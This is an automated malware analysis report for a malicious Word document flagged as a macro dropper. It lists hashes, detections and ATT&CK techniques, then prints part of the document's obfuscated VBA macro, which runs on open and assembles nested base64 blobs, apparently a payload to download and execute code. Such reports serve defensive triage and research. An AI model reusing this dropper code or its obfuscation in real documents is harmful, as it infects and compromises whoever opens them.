Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3bfe8f61e226e520…

MALICIOUS

Office (OLE)

154.5 KB Created: 2018-08-29 15:01:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 7819be94ad5816a65e20d60e5af27ecd SHA-1: b8c3c971000c508d43a3e5b3875104eaab12a3fb SHA-256: 3bfe8f61e226e520d73aab818a087025935fdd44ebf81f08a46de745350c4aec
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function, indicating an attempt to execute arbitrary code. The ClamAV heuristic also flags it as a dropper. While the VBA code is obfuscated, the presence of these indicators strongly suggests it's designed to download and execute a secondary payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-7144322-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7144322-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19622 bytes
SHA-256: f5a010b7318505d2b0d7a3569c789ab8870b6d93eafcacb201d05ce0a8574e67
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
If 17 < 203 Then
' JFSkH3
Else
' s8BknzPi
MsgBox "GrmBP3"
End If
If 118 * 4 = 1263 - 1248 Then
Uvi03o9tm = "n9FXxlUdD"
End If
lroli7R8D = 57
HHV4f3 = Uvi03o9tm & lroli7R8D
If 44 < 198 Then
' d5g6N
Else
' rCz8B
Debug.Print "oUjI062"
End If
bKdnC = "XNWpiMlJwYm1kZE9qcFZWRVk0TGtkbGRGTjBjbWx1WnloYlUzbHpk"
OFG3c0P = "R1Z0TGtOdmJuWmxjblJkT2pwR2NtOXRRbUZ6WlRZMFUzUnlhVzVuS"
pSv4KlMs7 = "0NSamIyUmxLU2s3ZEhKNWUybGxlQ2drWW1GelpUWTBLVHQ5WTJGMFkyaDdkM0pwZEdVdGFHOXpkQ0FrWHk1bGVHTmxjSFJwYjI0dWJXVnpjMkZuWlR0OQ=="
Dim wnByReM1
wnByReM1 = 249
While wnByReM1 < 683
wnByReM1 = wnByReM1 + 54
Wend
hFqCKprQX = 39605
UgNjXtzHU = z3nYMdJh & wnByReM1
Dim a1JgfU
a1JgfU = 249
While a1JgfU < 683
a1JgfU = a1JgfU + 54
Wend
bBCGmQI6 = 39605
gKmUpjGs7 = lXqCZ & a1JgfU
Dim JRHt9
JRHt9 = bKdnC & OFG3c0P & pSv4KlMs7
HcB7HYU = "Y0c5M1pYSnphR1ZzYkNBa1kyOWtaU0E5SUNkS1NFSm9aRWRuWjFCVFFXbE1hVFZqWTBoV01HUklhM1ZhV0doc1NXcHpaMHBJWkdwSlJEQm5ZbTFXTTB4WE9XbGhiVlpxWkVOQ2RWcFlVWFZrTWxacFdUSjRjRnBYTlRCUGVVRnJaREpOZFZwSE9UTmliWGgyV1ZkU2JXRlhlR3hMUTBwdlpFaFNkMDlwT0haT1IwWjFXa2hLZG1GWFVYUmpNamx0WkVNMWVXUlRPSGhNTWpWc1l6SnNkVnBYWkhaTWJWWTBXbE5KYzBsRFVuZFpXRkp2UzFSeloyTXpVbWhqYmxGMFkwaEtkbGt5Vm5wamVVRnJZMGRHTUdGRWN6MG5PeVJpWVhObE5qUWdQU0JiVTNsemRHVnRMbFJsZUhR"
dnljEO68R = "dVJ"
If 1031 - 10 = 246 - 242 Then
mgLlRr1 = "brvhjWJQ"
End If
mOAT7BCG = 56439
nPH76rGy = mgLlRr1 & mOAT7BCG
If 58 < 241 Then
' UsxHEt5
Else
' RazGUdNe
MsgBox "G3YtFLK"
End If
Dim OQTGRE1Y
OQTGRE1Y = HcB7HYU & dnljEO68R
If 15660 / 29 = -2972 + 2980 Then
peaxH2RJ = "m8wAW"
End If
rGrCgkvm = 11300
fLa8mK = peaxH2RJ & rGrCgkvm
If 15660 / 29 = -2972 + 2980 Then
eNoKxPw0 = "OeyBGRCP"
End If
jh9Y2 = 11300
H7GywMUQO = eNoKxPw0 & jh9Y2
Dim GVCsB6
GVCsB6 = 72
While GVCsB6 < 963
GVCsB6 = GVCsB6 + 2
Wend
OudMfao = 11104
lZDaf = TVBg7ZD & GVCsB6
Dim sQYipu2K
sQYipu2K = 72
While sQYipu2K <= 963
sQYipu2K = sQYipu2K + 2
Wend
embwXgK1 = 11104
ypcQVa = yw9th02 & sQYipu2K
wj2yIN = OQTGRE1Y & JRHt9
Dim UsS30gHk
UsS30gHk = 139
While UsS30gHk <= 725
UsS30gHk = UsS30gHk + 19
Wend
tyno8gsZ = "wwHlGk"
xvjfy = JXIAW6 & UsS30gHk
If 49 < 228 Then
' sAYVGhw
Else
' q9yhj
MsgBox "VJLQfTbv"
End If
Call Stalin(wj2yIN)
End Sub

Attribute VB_Name = "fOMYy6nH"
Sub Stalin(NLwkb)
Dim lu1lO6EI
lu1lO6EI = 80
While lu1lO6EI < 821
lu1lO6EI = lu1lO6EI + 23
Wend
hKYwWrJX = "OiGEU1"
eCavtz4Jy = b4UTt & lu1lO6EI
Dim RQaLp
RQaLp = 238
While RQaLp <= 663
RQaLp = RQaLp + 38
Wend
q9Ndc5mnB = 7999
GPqHf = qLRXlN & RQaLp
Dim o6yfz
o6yfz = 64
While o6yfz < 769
o6yfz = o6yfz + 58
Wend
GVWC1Ayx = "oSbMX2u"
q3dOr = zLDUafT & o6yfz
Dim LLtQkhA
LLtQkhA = 29
While LLtQkhA <= 1022
LLtQkhA = LLtQkhA + 3
Wend
nnCiZWM = 33667
zetlzFVaw = uUB90nAMS & LLtQkhA
If 11 < 170 Then
' HLEdnBgs
Else
' CCX9xLfI
Debug.Print "wzVP8SA"
End If
If 47 < 131 Then
' dqW7Q
Else
' RI1btNd8
Debug.Print "zceMJ"
End If
Dim lw8dS2i5e
lw8dS2i5e = 139
While lw8dS2i5e < 999
lw8dS2i5e = lw8dS2i5e + 49
Wend
So2S1DLe = "P2klRf"
nuXUfNDO6 = qnYPMEk & lw8dS2i5e
If 168 + 18 = 10318 / 737 Then
z7pHxf = "aavtz"
End If
Wu5nce7 = 49384
b1Lo5Fmgf = z7pHxf & Wu5nce7
If 22 < 156 Then
' xMmocbUg
Else
' FQBAh
Debug.Print "WuWjMI1D"
End If
If 31290 / 70 = 9585 - 9584 Then
FO5nxdeN = "es50b"
End If
j5r1Hum9l = "zoc5C9"
q2FTsxZke = FO5nxdeN & j5r1Hum9l
If 13 < 135 Then
' z698wjV
Else
' nTg3rvlwS
Debug.Print "GjyqO2T"
End If
If 13 < 135 Then
' HxZJC
Else
' G9hwKTF
MsgBox "cNGfp"
End If
If 59 < 162 Then
' esYN36d9V
Else
' EktQB
MsgBox "f3MUhFG"
End If
If 31 < 178 Then
' jNjzmvUWB
Else
' bK9wV4i
MsgBox "Vh5b1"
End If
If 31710 / 453 = -149 + 157 Then
ZeulDv = "md8rD"
End If
q9ZDm = "wusc3BiXb"
pW1i8a = ZeulDv & q9ZDm
Dim fphNEuRVx
f
... (truncated)